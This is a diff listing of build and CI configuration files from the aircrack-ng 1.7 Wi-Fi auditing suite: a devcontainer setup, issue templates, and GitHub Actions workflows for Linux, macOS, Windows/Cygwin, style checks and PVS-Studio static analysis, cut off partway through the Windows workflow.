+	  ethtool shtool rfkill zlib1g-dev libpcap-dev libsqlite3-dev libpcre3-dev libhwloc-dev \
+	  libcmocka-dev hostapd wpasupplicant tcpdump screen iw usbutils expect gawk bear \
+	  libtinfo5 \
+	  clangd-10 \
+	  clang-format-10 \
+	  python3-pip \
+ && rm -rf /var/lib/apt/lists/* \
+ && /usr/bin/pip3 install pre-commit \
+ && cd /tmp \
+ && wget "${CLANGURL}/${CLANGFILE}" \
+ && tar -x --strip-components=1 -C /usr/local -J -f ${CLANGFILE} \
+ && rm -f ${CLANGFILE}

aircrack-ng-1.7.tar.gz/.devcontainer/devcontainer.json Added

@@ -0,0 +1,44 @@
+// For format details, see https://aka.ms/devcontainer.json. For config options, see the README at:
+// https://github.com/microsoft/vscode-dev-containers/tree/v0.154.2/containers/cpp
+{
+	"name": "Aircrack-ng",
+	"build": {
+		"dockerfile": "Dockerfile",
+		// Update 'VARIANT' to pick an Debian / Ubuntu OS version: debian-10, debian-9, ubuntu-20.04, ubuntu-18.04
+		"args": {
+			"VARIANT": "ubuntu-20.04"
+		}
+	},
+	"runArgs": 
+		"--cap-add=SYS_PTRACE",
+		"--security-opt",
+		"seccomp=unconfined"
+	,
+	// Set *default* container specific settings.json values on container create.
+	"settings": {
+		"terminal.integrated.shell.linux": "/bin/bash",
+		"editor.formatOnSave": true,
+		"clang-format.executable": "/usr/local/bin/clang-format",
+		"clang-format.fallbackStyle": "none",
+		"clang-format.assumeFilename": "${file}",
+		"clang-format.style": "file",
+		"editor.defaultFormatter": "llvm-vs-code-extensions.vscode-clangd",
+		"clangd.path": "/usr/bin/clangd-10",
+		"C_Cpp.clang_format_fallbackStyle": "none",
+		"C_Cpp.clang_format_path": "/usr/local/bin/clang-format",
+		"C_Cpp.clang_format_style": "file",
+		"C_Cpp.formatting": "clangFormat"
+	},
+	// Add the IDs of extensions you want installed when the container is created.
+	"extensions": 
+		"ms-vscode.cpptools",
+		"xaver.clang-format",
+		"llvm-vs-code-extensions.vscode-clangd"
+	,
+	// Use 'forwardPorts' to make a list of ports inside the container available locally.
+	// "forwardPorts": ,
+	// Use 'postCreateCommand' to run commands after the container is created.
+	"postCreateCommand": "pre-commit install --install-hooks",
+	// Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root.
+	"remoteUser": "vscode"
+}
\ No newline at end of file

aircrack-ng-1.7.tar.gz/.github Added

aircrack-ng-1.7.tar.gz/.github/ISSUE_TEMPLATE Added

aircrack-ng-1.7.tar.gz/.github/ISSUE_TEMPLATE/bug_report.md Added

@@ -0,0 +1,80 @@
+---
+name: Bug report
+about: Used to report a defect in the source code, scripts, etc... Post questions
+  in the Aircrack-ng forum at https://forum.aircrack-ng.org - Read our
+  documentation at https://aircrack-ng.org
+---
+
+
+
+# Defect Report
+
+## Issue type
+
+
+
+-   Defect - Compilation or `make check` issue - Attach `config.log` and provide relevant system information such as `lscpu` - Make sure dependencies are installed
+-   Defect - Crash
+-   Defect - Incorrect value displayed/received/stored
+-   Defect - Unexpected behavior (obvious or confirmed in the forum)
+
+## System information
+
+- OS Name:
+- OS Version:
+- CPU:
+- Wireless card and chipset (if relevant):
+
+## Aircrack-ng version
+
+- Version:
+- Commit Revision hash:
+
+## Defect
+
+### Details
+
+
+
+### How to reproduce the issue
+
+
+
+## Related issues
+
+
\ No newline at end of file

aircrack-ng-1.7.tar.gz/.github/ISSUE_TEMPLATE/feature_request.md Added

aircrack-ng-1.7.tar.gz/.github/workflows Added

aircrack-ng-1.7.tar.gz/.github/workflows/linux.yml Added

@@ -0,0 +1,120 @@
+name: Linux CI
+
+on:
+  # Allows you to run this workflow manually from the Actions tab
+  workflow_dispatch:
+
+  push:
+    branches:  master 
+    paths-ignore:
+      - contrib/**
+      - manpages/**
+      - patches/**
+
+  pull_request:
+    branches:  master 
+    paths-ignore:
+      - contrib/**
+      - manpages/**
+      - patches/**
+
+env:
+  LANG: en_US.UTF-8
+  TZ: UTC
+
+jobs:
+  ubuntu_20_04:
+    runs-on: ubuntu-20.04
+
+    strategy:
+      fail-fast: false
+      matrix:
+        # gcc: 9.3.0, 10.2.0
+        # clang: 10.0.0, 11.0.0, 12.0.1
+        compiler:
+          - cc:  gcc-10
+            cxx: g++-10
+          - cc:  gcc-9
+            cxx: g++-9
+          - cc:  clang-12
+            cxx: clang++-12
+          - cc:  clang-11
+            cxx: clang++-11
+          - cc:  clang-10
+            cxx: clang++-10
+        flags:
+          - name: Gcrypt
+            flags: "--with-gcrypt"
+          - name: OpenSSL
+            flags: ""
+
+    name: Ubuntu 20.04 ${{ matrix.compiler.cc }} using ${{ matrix.flags.name }}
+
+    steps:
+      - uses: actions/checkout@v2
+        with:
+          fetch-depth: 750
+          submodules: 'recursive'
+
+      - uses: actions/cache@v2
+        id: cache
+        with:
+          path: |
+            /home/runner/.ccache
+          key: ${{ runner.os }}-${{ matrix.compiler.cc }}-${{ matrix.flags.name }}-${{ hashFiles('.github/workflows/linux.yml') }}
+          restore-keys: ${{ runner.os }}-${{ matrix.compiler.cc }}-${{ matrix.flags.name }}
+
+      - name: Install dependencies
+        run: |
+          sudo apt update
+          sudo apt-get install autoconf automake build-essential ccache ethtool expect hostapd iw lcov libcmocka-dev libgcrypt20-dev libhwloc-dev libnl-3-dev libnl-genl-3-dev libpcap-dev libpcre3-dev libsqlite3-dev libssl-dev libtool pkg-config rfkill screen shtool tcpdump usbutils wpasupplicant zlib1g-dev
+
+      - name: Ccache stats before builds
+        run: |
+          ccache -s
+
+      - name: Build with ${{ matrix.compiler.cc }} using ${{ matrix.flags.name }}
+        env:
+          AM_COLOR_TESTS: always
+        run: |
+          CPUS=$(nproc)
+          export CC="ccache ${{ matrix.compiler.cc }}"
+          export CXX="ccache ${{ matrix.compiler.cxx }}"
+          echo "::group::make distclean"
+          make distclean || :
+          echo "::endgroup::"
+          echo "::group::autoreconf"
+          autoreconf -vif
+          echo "::endgroup::"
+          echo "::group::configure"
+          mkdir linux-${{ matrix.compiler.cc }}-${{ matrix.flags.name }}
+          cd linux-${{ matrix.compiler.cc }}-${{ matrix.flags.name }}
+          echo ">> Configure with $CC, $CXX, and ${{ matrix.flags.flags }}"
+          ../configure --without-opt --with-experimental --enable-maintainer-mode ${{ matrix.flags.flags }} || { cat config.log; exit 1; }
+          echo "::endgroup::"
+          echo "::group::build"
+          echo ">> Build using ${CPUS} jobs"
+          make -j ${CPUS}
+          echo "::endgroup::"
+          echo "::group::run tests"
+          make -j ${CPUS} check || { find . -name 'test-suite.log' -exec cat {} ';' && exit 1; }
+          echo "::endgroup::"
+          cd ..
+
+      - name: Ccache stats after builds
+        run: |
+          ccache -s
+
+      - name: Archive artifacts
+        uses: actions/upload-artifact@v2
+        with:
+          name: linux-${{ matrix.compiler.cc }}-${{ matrix.flags.name }}
+          path: |
+            linux-${{ matrix.compiler.cc }}-${{ matrix.flags.name }}
+            !linux-${{ matrix.compiler.cc }}-${{ matrix.flags.name }}/**/.deps
+            !linux-${{ matrix.compiler.cc }}-${{ matrix.flags.name }}/**/.dirstamp
+            !linux-${{ matrix.compiler.cc }}-${{ matrix.flags.name }}/**/*.a
+            !linux-${{ matrix.compiler.cc }}-${{ matrix.flags.name }}/**/*.la
+            !linux-${{ matrix.compiler.cc }}-${{ matrix.flags.name }}/**/*.lai
+            !linux-${{ matrix.compiler.cc }}-${{ matrix.flags.name }}/**/*.o
+            !linux-${{ matrix.compiler.cc }}-${{ matrix.flags.name }}/**/*.lo

aircrack-ng-1.7.tar.gz/.github/workflows/macos.yml Added

@@ -0,0 +1,139 @@
+name: macOS CI
+
+on:
+  # Allows you to run this workflow manually from the Actions tab
+  workflow_dispatch:
+
+  push:
+    branches:  master 
+    paths-ignore:
+      - contrib/**
+      - manpages/**
+      - patches/**
+
+  pull_request:
+    branches:  master 
+    paths-ignore:
+      - contrib/**
+      - manpages/**
+      - patches/**
+
+env:
+  LANG: en_US.UTF-8
+  TZ: UTC
+
+jobs:
+  macos:
+    runs-on: macos-latest
+
+    strategy:
+      fail-fast: false
+      matrix:
+        compiler:
+          - cc:  gcc-11
+            cxx: g++-11
+          - cc:  gcc-10
+            cxx: g++-10
+          - cc:  gcc-9
+            cxx: g++-9
+          #- cc:  clang-11     broken handling with version.h
+          #  cxx: clang++-11
+          - cc:  clang-12
+            cxx: clang++-12
+        flags:
+          - name: Gcrypt
+            flags: "--with-gcrypt"
+          - name: OpenSSL
+            flags: ""
+
+    name: macOS ${{ matrix.compiler.cc }} using ${{ matrix.flags.name }}
+
+    steps:
+      - uses: actions/checkout@v2
+        with:
+          fetch-depth: 750
+          submodules: 'recursive'
+
+      - uses: actions/cache@v2
+        id: cache
+        with:
+          path: |
+            /Users/runner/Library/Caches/ccache
+            /Users/runner/Library/Preferences/ccache/ccache.conf
+          key: ${{ runner.os }}-macos-${{ matrix.compiler.cc }}-${{ matrix.flags.name }}-${{ hashFiles('.github/workflows/macos.yml') }}
+          restore-keys: ${{ runner.os }}-macos-${{ matrix.compiler.cc }}-${{ matrix.flags.name }}
+
+      - name: Install dependencies
+        run: |
+          brew install autoconf automake ccache cmocka expect hwloc libpcap libtool openssl pcre pkg-config sqlite3 shtool
+
+      - name: Ccache stats before builds
+        run: |
+          ccache -s
+
+      - name: Build with ${{ matrix.compiler.cc }} using ${{ matrix.flags.name }}
+        env:
+          AM_COLOR_TESTS: always
+        run: |
+          CPUS=$(($(sysctl -a | grep machdep.cpu.cores_per_package | awk '{ print $2 }') * 3 / 2))
+          export PATH="/usr/local/opt/ccache/libexec:$PATH"
+          case "${{ matrix.compiler.cc }}" in
+            clang-12)
+              CC=clang
+              CXX=clang++
+              export CFLAGS="-Werror -Wno-zero-length-array -Wno-deprecated-declarations"
+              export CXXFLAGS="-Werror -Wno-zero-length-array -Wno-deprecated-declarations"
+              ;;
+            clang-11)
+              CC=$(brew --prefix llvm)/bin/clang
+              CXX=$(brew --prefix llvm)/bin/clang++
+              export CFLAGS="-Werror -Wno-zero-length-array -Wno-deprecated-declarations"
+              export CXXFLAGS="-Werror -Wno-zero-length-array -Wno-deprecated-declarations"
+              ;;
+            *)
+              CC=${{ matrix.compiler.cc }}
+              CXX=${{ matrix.compiler.cxx }}
+              export CFLAGS="-Werror -Wno-unused-result -Wno-deprecated-declarations"
+              export CXXFLAGS="-Werror -Wno-unused-result -Wno-deprecated-declarations"
+              ;;
+          esac
+          export CC="ccache $CC"
+          export CXX="ccache $CXX"
+          echo "::group::make distclean"
+          make distclean || :
+          echo "::endgroup::"
+          echo "::group::autoreconf"
+          autoreconf -vif
+          echo "::endgroup::"
+          echo "::group::configure"
+          mkdir macos-${{ matrix.compiler.cc }}-${{ matrix.flags.name }}
+          cd macos-${{ matrix.compiler.cc }}-${{ matrix.flags.name }}
+          echo ">> Configure with $CC, $CXX, and ${{ matrix.flags.flags }}"
+          ../configure --without-opt --with-experimental --enable-maintainer-mode ${{ matrix.flags.flags }} || { cat config.log; exit 1; }
+          echo "::endgroup::"
+          echo "::group::build"
+          echo ">> Build using ${CPUS} jobs"
+          make -j ${CPUS}
+          echo "::endgroup::"
+          echo "::group::run tests"
+          make -j ${CPUS} check || { find . -name 'test-suite.log' -exec cat {} ';' && exit 1; }
+          echo "::endgroup::"
+          cd ..
+
+      - name: Ccache stats after builds
+        run: |
+          ccache -s
+
+      - name: Archive artifacts
+        uses: actions/upload-artifact@v2
+        with:
+          name: macos-${{ matrix.compiler.cc }}-${{ matrix.flags.name }}
+          path: |
+            macos-${{ matrix.compiler.cc }}-${{ matrix.flags.name }}
+            !macos-${{ matrix.compiler.cc }}-${{ matrix.flags.name }}/**/.deps
+            !macos-${{ matrix.compiler.cc }}-${{ matrix.flags.name }}/**/.dirstamp
+            !macos-${{ matrix.compiler.cc }}-${{ matrix.flags.name }}/**/*.a
+            !macos-${{ matrix.compiler.cc }}-${{ matrix.flags.name }}/**/*.la
+            !macos-${{ matrix.compiler.cc }}-${{ matrix.flags.name }}/**/*.lai
+            !macos-${{ matrix.compiler.cc }}-${{ matrix.flags.name }}/**/*.o
+            !macos-${{ matrix.compiler.cc }}-${{ matrix.flags.name }}/**/*.lo

aircrack-ng-1.7.tar.gz/.github/workflows/pvs-studio.yml Added

@@ -0,0 +1,167 @@
+name: PVS-Studio Analysis
+
+on:
+  # Allows you to run this workflow manually from the Actions tab
+  workflow_dispatch:
+
+  push:
+    branches:  master 
+    paths-ignore:
+      - contrib/**
+      - manpages/**
+      - patches/**
+
+  pull_request:
+    branches:  master 
+    paths-ignore:
+      - contrib/**
+      - manpages/**
+      - patches/**
+
+env:
+  LANG: en_US.UTF-8
+  TZ: UTC
+
+jobs:
+  pvs_studio_analyzer:
+    name: PVS-Studio Static Analyzer
+
+    runs-on: ubuntu-20.04
+
+    steps:
+      - uses: actions/checkout@v2
+        env:
+          PVS_STUDIO_NAME: ${{ secrets.PvsStudioName }}
+          PVS_STUDIO_KEY: ${{ secrets.PvsStudioKey }}
+        if: ${{ env.PVS_STUDIO_NAME != null && env.PVS_STUDIO_KEY != null }}
+        with:
+          submodules: 'recursive'
+
+      - name: Log and setup environment
+        env:
+          PVS_STUDIO_NAME: ${{ secrets.PvsStudioName }}
+          PVS_STUDIO_KEY: ${{ secrets.PvsStudioKey }}
+        if: ${{ env.PVS_STUDIO_NAME != null && env.PVS_STUDIO_KEY != null }}
+        run: |
+          mkdir -p pvs-package
+
+      - name: Find latest PVS-Studio release
+        env:
+          PVS_STUDIO_NAME: ${{ secrets.PvsStudioName }}
+          PVS_STUDIO_KEY: ${{ secrets.PvsStudioKey }}
+        if: ${{ env.PVS_STUDIO_NAME != null && env.PVS_STUDIO_KEY != null }}
+        id: pvs_version
+        run: |
+          p=$(curl -sRL "https://pvs-studio.com/en/pvs-studio/download-all/" |\
+              grep -oE 'https?://cdn.pvs-studio.com/pvs-studio-0-9.+(-amd64\.deb)')
+          echo "::set-output name=debfile::$p"
+
+      - name: Fetch PVS-Studio package
+        env:
+          PVS_STUDIO_NAME: ${{ secrets.PvsStudioName }}
+          PVS_STUDIO_KEY: ${{ secrets.PvsStudioKey }}
+        if: ${{ env.PVS_STUDIO_NAME != null && env.PVS_STUDIO_KEY != null }}
+        run: wget "${{ steps.pvs_version.outputs.debfile }}" -O "pvs-package/pvs.deb"
+
+      - name: Install packages
+        env:
+          PVS_STUDIO_NAME: ${{ secrets.PvsStudioName }}
+          PVS_STUDIO_KEY: ${{ secrets.PvsStudioKey }}
+        if: ${{ env.PVS_STUDIO_NAME != null && env.PVS_STUDIO_KEY != null }}
+        run: |
+          set -xeu
+          sudo apt update -yqq
+          sudo apt-get -y --no-install-recommends install autoconf automake \
+            build-essential ccache ethtool expect hostapd iw lcov           \
+            libcmocka-dev libgcrypt20-dev libhwloc-dev libnl-3-dev          \
+            libnl-genl-3-dev libpcap-dev libpcre3-dev libsqlite3-dev        \
+            libssl-dev libtool pkg-config rfkill screen shtool strace       \
+            tcpdump usbutils wpasupplicant zlib1g-dev
+          sudo dpkg -i "pvs-package/pvs.deb"
+          pvs-studio-analyzer credentials                                   \
+            "${{ secrets.PvsStudioName }}" "${{ secrets.PvsStudioKey }}"
+
+      - name: Build
+        env:
+          AM_COLOR_TESTS: always
+          PVS_STUDIO_NAME: ${{ secrets.PvsStudioName }}
+          PVS_STUDIO_KEY: ${{ secrets.PvsStudioKey }}
+        if: ${{ env.PVS_STUDIO_NAME != null && env.PVS_STUDIO_KEY != null }}
+        run: |
+          set -eu
+          CPUS=$(nproc)
+          export CC="gcc"
+          export CXX="g++"
+          echo "::group::make distclean"
+          make distclean || :
+          echo "::endgroup::"
+          echo "::group::autoreconf"
+          autoreconf -vif
+          echo "::endgroup::"
+          echo "::group::configure"
+          ./configure --without-opt       \
+                      --with-experimental \
+                      --enable-maintainer-mode || { cat config.log; exit 1; }
+          echo "::endgroup::"
+          echo "::group::build"
+          pvs-studio-analyzer trace -- make -j ${CPUS}
+          echo "::endgroup::"
+
+      - name: Analyze
+        env:
+          PVS_STUDIO_NAME: ${{ secrets.PvsStudioName }}
+          PVS_STUDIO_KEY: ${{ secrets.PvsStudioKey }}
+        if: ${{ env.PVS_STUDIO_NAME != null && env.PVS_STUDIO_KEY != null }}
+        run: |
+          set -xeu
+          log="pvs-analysis.log"
+          general_criteria="GA:1,2,3;64:1,2,3;OP:1,2,3"
+          stamp="$(date +'%Y-%m-%d_T%H%M')-${GITHUB_SHA:0:8}"
+          reportdir="pvs-report/pvs-report-${stamp}"
+          disable_warnings="V1032,V1042,V597,V809,V802"
+          mkdir -p "${reportdir}"
+          pvs-studio-analyzer analyze \
+            --ignore-ccache           \
+            -a "GA;OP;CS"             \
+            -s .pvs-suppress          \
+            -j "$(nproc)"             \
+            -o "${log}"
+          plog-converter              \
+            -p aircrack-ng            \
+            -v "${GITHUB_SHA:0:8}"    \
+            -a "${general_criteria}"  \
+            -d "${disable_warnings}"  \
+            -t fullhtml               \
+            -o "${reportdir}"         \
+            "${log}"
+          mv "${reportdir}/fullhtml" "${reportdir}/general"
+          plog-converter              \
+            -a "${general_criteria}"  \
+            -d "${disable_warnings}"  \
+            -t csv                    \
+            -o pvs-report.csv         \
+            "${log}"
+          cp -l pvs-report.csv "${reportdir}/general/"
+          pvs-studio-analyzer suppress                      \
+            -a "${general_criteria}"                        \
+            -o "${reportdir}/general/supressible-list.json" \
+            "${log}"
+
+      - name: Upload report
+        env:
+          PVS_STUDIO_NAME: ${{ secrets.PvsStudioName }}
+          PVS_STUDIO_KEY: ${{ secrets.PvsStudioKey }}
+        if: ${{ env.ACT != 'true' && env.PVS_STUDIO_NAME != null && env.PVS_STUDIO_KEY != null }}
+        uses: actions/upload-artifact@v2
+        with:
+          name: pvs-analysis-report
+          path: pvs-report
+
+      - name: Summarize report
+        env:
+          MAX_BUGS: 0
+          PVS_STUDIO_NAME: ${{ secrets.PvsStudioName }}
+          PVS_STUDIO_KEY: ${{ secrets.PvsStudioKey }}
+        if: ${{ env.PVS_STUDIO_NAME != null && env.PVS_STUDIO_KEY != null }}
+        run: |
+          ./build/count-pvs-bugs.py pvs-report.csv "${MAX_BUGS}"

aircrack-ng-1.7.tar.gz/.github/workflows/style.yml Added

@@ -0,0 +1,71 @@
+name: "Style & Consistency"
+
+on:
+  # Allows you to run this workflow manually from the Actions tab
+  workflow_dispatch:
+
+  push:
+    branches:  master 
+    paths-ignore:
+      - contrib/**
+      - manpages/**
+      - patches/**
+
+  pull_request:
+    branches:  master 
+    paths-ignore:
+      - contrib/**
+      - manpages/**
+      - patches/**
+
+env:
+  LANG: en_US.UTF-8
+  TZ: UTC
+
+jobs:
+  clang_format:
+    runs-on: ubuntu-18.04
+
+    name: Clang-Format
+
+    steps:
+      - uses: actions/checkout@v2
+
+      - name: Install dependencies
+        env:
+          DEBIAN_FRONTEND: noninteractive
+          CLANGURL: "https://releases.llvm.org/3.8.1/"
+          CLANGFILE: "clang+llvm-3.8.1-x86_64-linux-gnu-ubuntu-16.04.tar.xz"
+        run: |
+          sudo apt-get install -y --no-install-recommends libtinfo5
+          wget "${CLANGURL}/${CLANGFILE}"
+          sudo tar -x --strip-components=1 -C /usr/local -J -f ${CLANGFILE}
+          rm -f ${CLANGFILE}
+
+      - name: Check source code formatting
+        run: |
+          # ensure our clang-format is first found
+          export PATH="/usr/local/bin:$PATH"
+
+          echo "::group::Process all source files with clang-format"
+          # check formatting matches clang-format-3.8. Since newer versions can
+          # have changes in formatting even without any rule changes, we have
+          # to fix on a single version.
+          . ./build/clang_format_all.sh
+
+          git clean -f
+          echo "::endgroup::"
+
+          # Print any diff here, so the error message below is the last thing
+          git diff
+
+          set -e && git diff --quiet || (
+            echo "***************************************************";
+            echo "*** The code is not clean against clang-format  ***";
+            echo "*** Please run clang-format-3.8 and fix the     ***";
+            echo "*** differences then rebase/squash them into    ***";
+            echo "*** the relevant commits. Do not add a commit   ***";
+            echo "*** for just formatting fixes. Thanks!          ***";
+            echo "***************************************************";
+            exit 1;
+          )

aircrack-ng-1.7.tar.gz/.github/workflows/windows.yml Added

@@ -0,0 +1,487 @@
+name: Windows CI
+
+on:
+  # Allows you to run this workflow manually from the Actions tab
+  workflow_dispatch:
+
+  push:
+    branches:  master 
+    paths-ignore:
+      - contrib/**
+      - manpages/**
+      - patches/**
+
+  pull_request:
+    branches:  master 
+    paths-ignore:
+      - contrib/**
+      - manpages/**
+      - patches/**
+
+env:
+  CHERE_INVOKING: 1
+  LANG: en_US.UTF-8
+  TZ: UTC
+
+jobs:
+  cygwin_32bit:
+    runs-on: windows-latest
+
+    steps:
+      - run: git config --global core.autocrlf input
+      - run: git config --global core.eol lf
+      - uses: actions/checkout@v2
+
+      # Caching Cygwin fails due to /dev files and symlinks, sad :(
+      - uses: actions/cache@v2
+        id: cache
+        with:
+          path: |
+            /cygdrive/c/tools/cygwin/home/**/.ccache
+            /cygdrive/c/tools/cygwin/home/**/AirPcap_Devpack_4_1_1_1838.zip
+          key: ${{ runner.os }}-cygwin-32bit-${{ hashFiles('.github/workflows/windows.yml') }}
+          restore-keys: ${{ runner.os }}-cygwin-32bit-
+
+      - name: Set up Cygwin
+        uses: egor-tensin/setup-cygwin@v3
+        with:
+          platform: x86
+          install-dir: C:\tools\cygwin
+          hardlinks: 1
+          packages: >-
+            autoconf automake bison gcc-core gcc-g++ mingw-runtime mingw-binutils mingw-gcc-core
+            mingw-gcc-g++ mingw-pthreads mingw-w32api libtool make python gettext-devel gettext
+            intltool libiconv pkg-config git wget curl libpcre-devel libssl-devel libsqlite3-devel
+            zlib-devel unzip zip rsync expect libhwloc-devel ccache cmocka
+
+      - name: Create home dir
+        run: |
+          C:\tools\cygwin\bin\bash.exe --login -c 'env'
+
+      - name: Find Cygwin path to workspace
+        id: cygwin
+        run: |
+          New-Variable bash -Value "C:\tools\cygwin\bin\bash.exe" -Option Constant
+          $unix_path = (& $bash --login -e -c "cygpath '${env:GITHUB_WORKSPACE}'")
+          Write-Host "::set-output name=unix_path::${unix_path}"
+
+      - name: Ccache stats before builds
+        run: |
+          C:\tools\cygwin\bin\bash.exe -e -l -c "ccache -s"
+
+      - name: Download AirPcap sources
+        if: steps.cache.outputs.cache-hit != 'true'
+        run: |
+          C:\tools\cygwin\bin\bash.exe -e -l -c "cd ~ && curl -RLO https://dl.aircrack-ng.org/AirPcap_Devpack_4_1_1_1838.zip"
+
+      - name: Copy cached AirPcap sources
+        run: |
+          C:\tools\cygwin\bin\bash.exe -e -l -c "cp -vfp ~/AirPcap_Devpack_4_1_1_1838.zip ."
+
+      - name: Verify digest of AirPcap sources
+        shell: pwsh
+        run: |
+          $hashFromFile = Get-FileHash -Path "AirPcap_Devpack_4_1_1_1838.zip" -Algorithm SHA256
+          if ($hashFromFile.Hash -ne "86dcde46603cd1229245263499ef9cb4e43ee66cd7219605d30095562888da14") {
+            Write-Host "AirPcap failed digest check." -ForegroundColor Red
+            $hashFromFile | Format-List
+            Break
+          }
+
+      - name: Decompress AirPcap sources
+        run: |
+          C:\tools\cygwin\bin\bash.exe -e -l -c "7z -y x AirPcap_Devpack_4_1_1_1838.zip"
+
+      - name: Generating 32-bit AirPcap linker files
+        run: |
+          C:\tools\cygwin\bin\bash.exe -e -l -c "cp -vf Airpcap_Devpack/bin/x86/airpcap.dll /cygdrive/c/Windows/System32"
+          C:\tools\cygwin\bin\bash.exe -e -l -c "dlltool -D Airpcap_Devpack/bin/x86/airpcap.dll -d build/airpcap.dll.def -l Airpcap_Devpack/bin/x86/libairpcap.dll.a"
+
+      - name: Build 32-bit w/o AirPcap
+        env:
+          CFLAGS: "-O3 -mtune=i686 -DNDEBUG"
+          LDFLAGS: "-Wl,--enable-auto-image-base"
+        run: |
+          New-Variable bash -Value "C:\tools\cygwin\bin\bash.exe" -Option Constant
+          echo @"
+            CPUS=`$((`$(grep -c processor /proc/cpuinfo) * 3 / 2))
+            export PATH="/usr/lib/ccache:`$PATH"
+            export CC="ccache gcc"
+            export CXX="ccache g++"
+            echo "::group::make distclean"
+            make distclean || :
+            echo "::endgroup::"
+            echo "::group::autoreconf"
+            autoreconf -vi
+            echo "::endgroup::"
+            echo "::group::configure"
+            mkdir 32bit-no-airpcap
+            cd 32bit-no-airpcap
+            ../configure --host=i686-pc-cygwin --target=i686-pc-cygwin --without-opt --with-experimental --enable-win32-portable --enable-maintainer-mode
+            echo "::endgroup::"
+            echo "::group::build"
+            make -j `${CPUS}
+            echo "::endgroup::"
+            echo "::group::run tests"
+            make -j `${CPUS} check || { find . -name 'test-suite.log' -exec cat {} ';' && exit 1; }
+            echo "::endgroup::"
+            cd ..
+          "@ | & $bash --login -o errexit -o nounset -o pipefail -o igncr
+        shell: pwsh
+
+      - name: Build 32-bit w/AirPcap
+        env:
+          CFLAGS: "-O3 -mtune=i686 -DNDEBUG"
+          LDFLAGS: "-Wl,--enable-auto-image-base"
+        run: |
+          New-Variable bash -Value "C:\tools\cygwin\bin\bash.exe" -Option Constant
+          echo @"
+            CPUS=`$((`$(grep -c processor /proc/cpuinfo) * 3 / 2))
+            export PATH="/usr/lib/ccache:`$PATH"
+            export CC="ccache gcc"
+            export CXX="ccache g++"
+            echo "::group::make distclean"
+            make distclean || :
+            echo "::endgroup::"
+            echo "::group::autoreconf"
+            autoreconf -vi
+            echo "::endgroup::"
+            echo "::group::configure"
+            mkdir 32bit
+            cd 32bit
+            ../configure --host=i686-pc-cygwin --target=i686-pc-cygwin --without-opt --with-experimental --enable-win32-portable --enable-maintainer-mode --with-airpcap=${{ steps.cygwin.outputs.unix_path }}
+            echo "::endgroup::"
+            echo "::group::build"
+            make -j `${CPUS}
+            echo "::endgroup::"
+            echo "::group::run tests"
+            make -j `${CPUS} check || { find . -name 'test-suite.log' -exec cat {} ';' && exit 1; }
+            echo "::endgroup::"
+            echo "::group::gather packaging components"
+            echo '>> Removing symbolic links that break Windows zip/tar'
+            find . -type l -print -delete
+            echo '>> Create deployment folder'
+            mkdir -p dist/bin/32bit
+            echo '>> Resolving run-time items for deployment'
+            find . -path "*/.libs" -print0 | xargs -0I  -n 1 find  $ -name "*.exe" -o -name "*.dll" $ -exec cp -p {} "dist/bin/32bit" ';'
+            # AirPcap DLLs
+            cp -vfp "../Airpcap_Devpack/bin/x86/airpcap.dll" "dist/bin/32bit"
+            # Cygwin License
+            cp -vfp /usr/share/doc/Cygwin/CYGWIN_LICENSE "dist/LICENSE.Cygwin"
+            # gather dependencies of Cygwin
+            FILES="cygcrypto-1.1.dll cyghwloc-15.dll cyggcc_s-1.dll cyggcc_s-seh-1.dll cygpcre-1.dll cygsqlite3-0.dll cygstdc++-6.dll cygwin1.dll cygz.dll cygxml2-2.dll cyglzma-5.dll cygiconv-2.dll"
+            for FILE in `$FILES; do
+              cp -vfp "/cygdrive/c/tools/cygwin/bin/`$FILE" "dist/bin/32bit" || :
+            done
+            echo "::endgroup::"
+            cd ..
+          "@ | & $bash --login -o errexit -o nounset -o pipefail -o igncr
+        shell: pwsh
+
+      - name: Ccache stats after builds
+        run: |
+          C:\tools\cygwin\bin\bash.exe -e -l -c "ccache -s"
+
+      - name: Archive 32-bit artifacts
+        uses: actions/upload-artifact@v2
+        with:
+          name: 32bit
+          path: |
+            32bit
+            !32bit/**/*.a
+            !32bit/**/*.la
+            !32bit/**/*.lib
+            !32bit/**/*.o
+            !32bit/**/*.lo
+            !32bit/**/*.obj
+
+  cygwin_64bit:
+    runs-on: windows-latest
+
+    steps:
+      - run: git config --global core.autocrlf input
+      - run: git config --global core.eol lf
+      - uses: actions/checkout@v2
+
+      # Caching Cygwin fails due to /dev files and symlinks, sad :(
+      - uses: actions/cache@v2
+        id: cache
+        with:
+          path: |
+            /cygdrive/c/tools/cygwin/home/**/.ccache
+            /cygdrive/c/tools/cygwin/home/**/AirPcap_Devpack_4_1_1_1838.zip
+          key: ${{ runner.os }}-cygwin-64bit-${{ hashFiles('.github/workflows/windows.yml') }}
+          restore-keys: ${{ runner.os }}-cygwin-64bit-
+
+      - name: Set up Cygwin
+        uses: egor-tensin/setup-cygwin@v3
+        with:
+          platform: x64
+          install-dir: C:\tools\cygwin
+          hardlinks: 1
+          packages: >-
+            autoconf automake bison gcc-core gcc-g++ mingw-runtime mingw-binutils mingw-gcc-core
+            mingw-gcc-g++ mingw-pthreads mingw-w32api libtool make python gettext-devel gettext
+            intltool libiconv pkg-config git wget curl libpcre-devel libssl-devel libsqlite3-devel
+            zlib-devel unzip zip rsync expect libhwloc-devel ccache cmocka
+
+      - name: Create home dir
+        run: |
+          C:\tools\cygwin\bin\bash.exe --login -c 'env'
+
+      - name: Find Cygwin path to workspace
+        id: cygwin
+        run: |
+          New-Variable bash -Value "C:\tools\cygwin\bin\bash.exe" -Option Constant
+          $unix_path = (& $bash --login -e -c "cygpath '${env:GITHUB_WORKSPACE}'")
+          Write-Host "::set-output name=unix_path::${unix_path}"
+
+      - name: Ccache stats before builds
+        run: |
+          C:\tools\cygwin\bin\bash.exe -e -l -c "ccache -s"
+
+      - name: Download AirPcap sources
+        if: steps.cache.outputs.cache-hit != 'true'
+        run: |
+          C:\tools\cygwin\bin\bash.exe -e -l -c "cd ~ && curl -RLO https://dl.aircrack-ng.org/AirPcap_Devpack_4_1_1_1838.zip"
+
+      - name: Copy cached AirPcap sources
+        run: |
+          C:\tools\cygwin\bin\bash.exe -e -l -c "cp -vfp ~/AirPcap_Devpack_4_1_1_1838.zip ."
+
+      - name: Verify digest of AirPcap sources
+        shell: pwsh
+        run: |
+          $hashFromFile = Get-FileHash -Path "AirPcap_Devpack_4_1_1_1838.zip" -Algorithm SHA256
+          if ($hashFromFile.Hash -ne "86dcde46603cd1229245263499ef9cb4e43ee66cd7219605d30095562888da14") {
+            Write-Host "AirPcap failed digest check." -ForegroundColor Red
